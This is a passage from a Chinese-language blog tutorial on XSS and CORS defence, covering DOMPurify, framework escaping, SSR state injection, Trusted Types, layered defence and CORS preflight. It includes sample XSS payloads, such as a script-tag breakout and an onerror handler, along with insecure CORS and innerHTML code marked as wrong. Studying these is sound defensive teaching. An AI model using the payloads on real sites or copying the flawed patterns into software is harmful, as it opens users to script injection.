调用浏览器自带的 HTML 解析器(DOMParser)构建 DOM 树
(使用与渲染页面完全相同的引擎,彻底消除两端解析歧义)
遍历 DOM 树的每一个节点,按白名单规则检查:
    这个标签名在白名单里吗?不在 → 整个节点移除(或仅保留文本)
    这个属性名在白名单里吗?不在 → 移除该属性
    这个属性值包含危险协议吗?→ 移除
将清洗后的 DOM 树重新序列化为 HTML 字符串
输出安全的 HTML
1
2
3
4
5
6
7
8
9
import DOMPurify from 'dompurify';

const dirty = '<b>加粗</b><script>evil()</script><img onerror="evil()" src=x>';
const clean = DOMPurify.sanitize(dirty);
// 输出:<b>加粗</b><img src="x">
// script 标签被移除(不在白名单),onerror 属性被移除(不在白名单)
// img 标签和 src 属性被保留(在白名单)

document.getElementById('content').innerHTML = clean; // 现在可以安全插入

必须单独处理的 href 协议——因为 href 属性本身在白名单里(链接是合法功能),但它的值可以是 javascript: 协议:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
DOMPurify.addHook('afterSanitizeAttributes', function(node) {
  if ('href' in node) {
    const href = node.getAttribute('href') || '';
    // 白名单协议:http/https/mailto/相对路径
    if (!href.match(/^(https?:\/\/|mailto:|\/|#)/i)) {
      node.removeAttribute('href'); // javascript: 和其他协议:移除
    }
    // 外链加防 window.opener 攻击的 rel
    if (/^https?:\/\//i.test(href)) {
      node.setAttribute('target', '_blank');
      node.setAttribute('rel', 'noopener noreferrer');
    }
  }
});

后端对应库:DOMPurify 是浏览器端的库,服务器端需要对应方案:

语言 推荐库 核心原理
Java OWASP Java HTML Sanitizer / Jsoup Safelist 真正的 HTML 解析器 + 白名单
Python bleach(基于 html5lib) 使用与浏览器同款的 html5lib 解析器
Go bluemonday 白名单配置灵活
Node.js DOMPurify + jsdom 与前端同一套逻辑

最佳实践是前后端双重净化,就像机场安检:登机口(后端存储前)的安检是必须的,登机时(前端渲染前)的再次确认是额外保障。后端是最后关卡,前端是纵深防御。


第八章:框架时代——把安全成本内化到工具里(2013–2020)

8.1 工程现实:安全不是唯一的指标

我们需要正视一个现实:为什么那么多有经验的开发者,仍然会写出有 XSS 漏洞的代码?

答案不是"他们不懂安全",也不是"他们不在乎安全"。

真正的现实是:开发者每天面对的是一组相互竞争的目标——

1
2
3
4
交付速度(今天必须上线)
代码简洁(下个月维护的人也要能读懂)
团队成本(不能要求每个人都深入理解 XSS 防御原理)
安全正确性(每个输出点都要做正确的上下文编码)

在功能赶 deadline 的压力下,element.innerHTML = dataelement.textContent = DOMPurify.sanitize(data) 少打几十个字,逻辑更短,更容易通过 Code Review。

这是一个合理的成本权衡(cost trade-off),而不是道德问题。当"安全的做法"需要付出额外的工程成本,而不安全的做法更快、更简单,大多数人在大多数时候都会在无意识中选择后者。

这就是为什么安全工程的终极目标,不是培训开发者更有安全意识——而是让安全的做法成为最省力、最自然的做法。React、Vue、Angular 的出现,从这个维度上重新平衡了等式。

8.2 React:让安全的写法比危险的写法更短

React 的 JSX 在渲染任何变量时,默认对其进行 HTML 转义:

1
2
3
4
5
function UserProfile({ bio }) {
  // 最短的写法,恰好也是最安全的写法
  // 无论 bio 包含什么,都会被转义为纯文本
  return <p>{bio}</p>;
}

如果想要渲染原始 HTML,React 要求你使用一个不可能被无意识写出的 API:

1
2
3
4
5
6
7
// dangerouslySetInnerHTML 这个名字本身就是一道减速带
// 它告诉你:我知道这很危险,但我确认这是我需要的
function RichContent({ html }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
  );
}

这里的设计洞见是:把安全的路设计成省力的路,把危险的路设计成需要绕远的路。当危险操作需要额外的工程量,它自然地成为了 Code Review 中会被注意到的异常。

8.3 Vue 和 Angular 的相同哲学

Vue 的双大括号插值自动转义,v-html 则需要显式使用:

1
2
3
4
5
<!-- 最省力的写法:安全 ✅ -->
<p>{{ userBio }}</p>

<!-- 需要额外打字、会被 Code Review 注意到:危险 ⚠️ -->
<div v-html="sanitizedContent"></div>

Angular 的 DomSanitizer 体系要求开发者用 bypassSecurityTrustHtml 这样的方法名来显式绕过安全检查——这个方法名里的每一个词都在喊"停下来想一想"。

8.4 框架安全的新前线:SSR 状态注入

框架的客户端模板安全极大降低了浏览器端的 XSS 风险,但服务端渲染(SSR)带来了一个新的语义歧义场景,它在HTML 解析器和 JSON 解析器之间产生冲突:

1
2
3
// ❌ 危险的 SSR 状态注入
const state = { username: req.query.name };
const html = `<script>window.__STATE__ = ${JSON.stringify(state)};</script>`;

JSON.stringify 不会转义斜杠字符。攻击者输入 name = </script><script>evil(),结果:

1
<script>window.__STATE__ = {"username":"</script><script>evil()"}</script>

浏览器的 HTML 解析器先于 JSON 解析器工作——它看到 </script>,就认为脚本块结束了,后面的 <script>evil() 成为新的脚本块被执行。

1
2
3
4
5
// ✅ 安全:转义会被 HTML 解析器误读的字符
const safeState = JSON.stringify(state)
  .replace(/</g, '\\u003c')  // < → \u003c(在 JS 字符串里仍然合法,但 HTML 解析器不认识它是 <)
  .replace(/>/g, '\\u003e')
  .replace(/&/g, '\\u0026');

这个 bug 的根源,仍然是熟悉的老故事:两个解析器(HTML 和 JSON)对同一段字符串有不同的语义理解


第九章:从 DOM Sink 断根——Trusted Types 与纵深防御(2019–今)

9.1 最后一公里问题

有了框架的模板安全、DOMPurify、CSP,XSS 已经变得比十年前难多了。但是还有一个"最后一公里"问题没有解决:

在某个历史遗留文件里、某次临时修复中,某个开发者写出了:

1
element.innerHTML = userInput;  // "这里应该是安全的,上线吧"

框架的模板安全管不到这里(这是直接 DOM 操作),DOMPurify 需要开发者主动调用(他没有调用),CSP 可能被这个站点的某个 JSONP 端点绕过。一处疏忽,前面所有防线都失去了意义。

2019 年,Chrome 79 引入了 Trusted Types,它把防御直接嵌入到了浏览器对 DOM API 的处理逻辑里。

9.2 Trusted Types:让危险 API 拒绝普通字符串

当通过 CSP 开启 Trusted Types 时,浏览器会改变 innerHTML 等危险 API 的行为:它们不再接受普通字符串,而只接受经过"可信处理器"(Policy)处理后的特殊对象

如果把之前的防御层比作厨房里的各道检查(原料验收、烹饪规范、出菜审查),Trusted Types 则是在厨房出口放了一个只认官方食品安全认证标签的闸机——没有认证标签的菜,闸机不让出去,不管是谁做的。

1
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// 必须先创建一个"官方认证"的策略
const policy = trustedTypes.createPolicy('myPolicy', {
  createHTML: (input) => DOMPurify.sanitize(input)  // 净化逻辑在这里注册
});

// ✅ 通过策略创建"有认证标签"的对象,才能赋给 innerHTML
element.innerHTML = policy.createHTML(userInput);

// ❌ 直接赋普通字符串:浏览器抛出错误,代码无法运行
element.innerHTML = userInput;
// TypeError: Failed to set 'innerHTML': 
//   This document requires a 'TrustedHTML' assignment.

Trusted Types 将"净化"从"开发者应该记得做"变成了"忘记做,代码跑不起来"——这是防御向编译期约束迈进的一步。

9.3 纵深防御:不是防线的叠加,而是失效的容忍

经过二十五年的演进,一套防御体系已经成形。但理解这套体系的关键,不是把它当作一个"把所有防线都设置好就万事大吉"的清单,而是把它理解为一种失效容忍架构

1
2
3
4
每一层防御,都假设上一层可能失效。
每一层防御,都为下一层提供缓冲时间。
整个体系的可靠性,不来自任何一层的完美,
而来自所有层同时失效的极低概率。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
层 0:安全文化与工程规范
      在漏洞写入代码之前拦截(SAST 扫描、Code Review、安全培训)
       ↓ 如果开发者仍然写出了危险代码...

层 1:框架默认安全
      React/Vue/Angular 的模板自动转义,覆盖大多数疏忽
       ↓ 如果使用了 innerHTML/dangerouslySetInnerHTML...

层 2:输入净化 + 输出编码
      DOMPurify/Jsoup/bleach 消灭语义歧义,白名单过滤富文本
       ↓ 如果净化被 mXSS 等方式绕过...

层 3:CSP(nonce/hash + strict-dynamic)
      注入成功也无法执行,没有腕带不让进
       ↓ 如果 CSP 因白名单域名存在 JSONP 端点而被绕过...

层 4:Trusted Types
      在 DOM API 层强制要求净化认证,最后一公里的闸机
       ↓ 如果脚本仍然成功执行...

层 5:HttpOnly + SameSite Cookie
      最小化攻击成果,切断直接盗取 session 的路径
       ↓ 如果攻击依然成功(所有层都失守)...

层 6:监控与响应
      CSP Report-Only 模式收集违规日志,及时发现和响应

没有哪一层是必须完美的。防御的强度来自攻击者需要同时突破所有层的难度。


第十章:CORS——SOP 的授权机制与正确实践

10.1 官方开的后门

现代 Web 开发几乎必然涉及跨域:前后端分离的 API、CDN、第三方统计脚本……这些都需要合法的跨域访问,但又与 SOP 的限制直接冲突。

CORS(Cross-Origin Resource Sharing) 是 SOP 的"官方授权机制"——它让服务器可以显式声明:“我允许来自这些特定域名的跨域读取请求”。

CORS 不是 SOP 的漏洞,但错误配置的 CORS 比没有 CORS 还危险

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# ❌ 通配符配置:等于对所有人开放数据读取权
response.headers['Access-Control-Allow-Origin'] = '*'

# ❌ 盲目反射 Origin:等价于通配符
origin = request.headers.get('Origin', '')
response.headers['Access-Control-Allow-Origin'] = origin  # 任何来源都被允许了

# ✅ 白名单校验:只允许可信来源
ALLOWED_ORIGINS = {'https://app.example.com', 'https://admin.example.com'}

origin = request.headers.get('Origin', '')
if origin in ALLOWED_ORIGINS:
    response.headers['Access-Control-Allow-Origin'] = origin
    # 只有在需要跨域携带 Cookie 时才开启,且只能配合具体域名(不能是 *)
    response.headers['Access-Control-Allow-Credentials'] = 'true'

10.2 简单请求与预检请求:CORS 机制里最容易被误解的设计

很多人以为 CORS 是在"阻止跨域请求被发送"。这个理解是错的——而且这个误解有真实的安全后果。

CORS 从来不阻止请求被发送。它只阻止响应被 JavaScript 读取。

浏览器在执行跨域请求时,会先判断这个请求属于哪种类型,然后采取完全不同的处理方式:

简单请求(Simple Request)——同时满足以下条件的请求:

  • 方法是 GETHEADPOST
  • 请求头只包含浏览器默认头(如 Content-Type 限于 application/x-www-form-urlencodedmultipart/form-datatext/plain
  • 没有自定义请求头

对简单请求,浏览器的处理是:直接发出去,然后根据响应头里有没有 CORS 授权,决定是否让 JavaScript 读取响应内容

1
2
3
4
5
6
简单请求的处理流程:
浏览器 → 直接发出 POST /api/transfer(附带 Cookie)→ 服务器收到并执行
浏览器 ← 收到响应
浏览器检查响应头有没有 Access-Control-Allow-Origin
  → 没有:JavaScript 看不到响应内容,但请求已经被服务器执行了
  → 有且匹配:JavaScript 可以读取响应

这就是 CSRF 攻击能奏效的根本原因。<form> 表单的 POST 提交是典型的简单请求,浏览器会直接把它发出去,并且附上 Cookie——CORS 对这个过程完全没有阻止作用。只要服务器收到请求就执行,伤害就已经发生,哪怕 JavaScript 后来读不到响应也无济于事。这就是为什么防 CSRF 需要 Token 或 SameSite Cookie,而不能依赖 CORS。

复杂请求(Preflighted Request)——不满足简单请求条件的请求,例如:

  • 方法是 PUTDELETEPATCH
  • Content-Typeapplication/json
  • 包含自定义请求头(如 AuthorizationX-CSRF-Token

对复杂请求,浏览器会先发一个 OPTIONS 预检请求,问服务器:“我打算从 https://app.com 向你发一个带 Authorization 头的 DELETE 请求,你允许吗?”

1
2
3
4
OPTIONS /api/resource HTTP/1.1
Origin: https://app.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization

只有服务器明确回应"允许",浏览器才会发出真正的请求:

1
2
3
4
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: Authorization

这个设计背后有一个深刻的安全考量:复杂请求往往是有副作用的操作(删除、修改),浏览器在执行前先征得服务器同意,能防止在服务器来不及判断的情况下造成不可逆的伤害。简单请求则被认为是"历史上已经广泛存在的跨域行为"(HTML 表单一直都能跨域 POST),贸然拦截会破坏大量已有的 Web 功能。

这个区分,再次体现了 SOP 设计之初"嵌入允许、读取禁止"的折中逻辑——对于早已存在的跨域发送行为,CORS 的策略是"允许发,但控制读",而非"彻底禁止"。

10.3 一个常见的混淆:CSP 与 CORS 是两条平行线

CSP 的 frame-ancestors 指令能控制"我是否可以被放入别人的 iframe",这似乎和 CORS 的跨域控制有些像。很多人因此混淆了两者,以为它们在做类似的事情。

其实它们控制的是完全不同的维度。一个简单的类比:

  • CORS 是在控制"别人能不能来读我的信件"(跨域读取数据)
  • CSP frame-ancestors 是在控制"别人能不能把我的照片贴进他的相册"(被 iframe 嵌入)
  • CSP script-src 是在控制"什么人说的话我才执行"(脚本执行来源)

三件事情,三条独立的规则,彼此平行,互不影响。


结语:没有银弹,只有体系

二十五年过去了,XSS 依然是 OWASP Top 10 的常客。

这不是因为防御技术不够成熟。这是因为 Web 的根本矛盾从未改变:

浏览器必须信任来自服务器的内容,
而服务器无法完全控制内容的纯净性——
因为内容的一部分,来自用户。

攻防博弈的循环也从未停止:新的业务需求(富文本、SPA、SSR、WebComponents)带来新的攻击面,攻击者发现并利用它,防御技术被创造出来,攻击者寻找防御的配置错误和边界……

但有一件事是确定的:这二十五年的所有攻击,都遵循同一个模式——语义歧义。同一段数据,在服务器眼中是纯文本,在浏览器眼中是可执行代码;在 HTML 解析器眼中是属性值,在 URL 解析器眼中是协议跳转;在服务端解析器眼中是安全片段,在客户端解析器眼中是危险逃逸。

这二十五年的所有防御,也都遵循同一个解法——在数据越过上下文边界之前,消除这种歧义。输出编码、白名单净化、CSP、Trusted Types,手段不同,但目标一致:让数据在任何解析上下文中,都只能作为数据被理解,而不能被误读为代码。

理解了这两点,XSS 就不再是一份需要背诵的漏洞清单,而是一个有内在逻辑的安全体系。攻守之道,均由此出。


附录:防御速查

场景 推荐方案 需要审查的危险写法
普通文本显示 框架模板 {{ }} 插值 innerHTML 直接赋值
富文本展示 DOMPurify + 后端白名单净化 正则过滤 / 未净化直接输出
后端模板输出 框架自动转义(Django/Rails/Thymeleaf) 手动字符串拼接 HTML
URL 参数展示 URL 编码 + HTML 上下文编码 直接拼入 href
JavaScript 字符串嵌入 JS 字符串转义 模板字符串直接插值 "${input}"
SSR 状态注入 JSON.stringify + \u003c/\u003e 转义 直接 ${JSON.stringify(state)}
DOM 操作 textContent 赋值 innerHTML 赋值不可信数据
脚本执行控制 CSP nonce + strict-dynamic unsafe-inline
跨域 API CORS 白名单 Origin 校验 Access-Control-Allow-Origin: *

参考

  • Samy Kamkar,Samy 蠕虫技术解析:https://samy.pl/myspace/tech.html
  • Amit Klein,《DOM Based Cross Site Scripting or XSS of the Third Kind》,WASC,2005年7月
  • PortSwigger Web Security Academy,XSS 章节:https://portswigger.net/web-security/cross-site-scripting
  • OWASP XSS Prevention Cheat Sheet:https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • Google Trusted Types 规范:https://w3c.github.io/trusted-types/dist/spec/
  • DOMPurify 项目:https://github.com/cure53/DOMPurify
Dan❤Anan
Built with Hugo
主题 StackJimmy 设计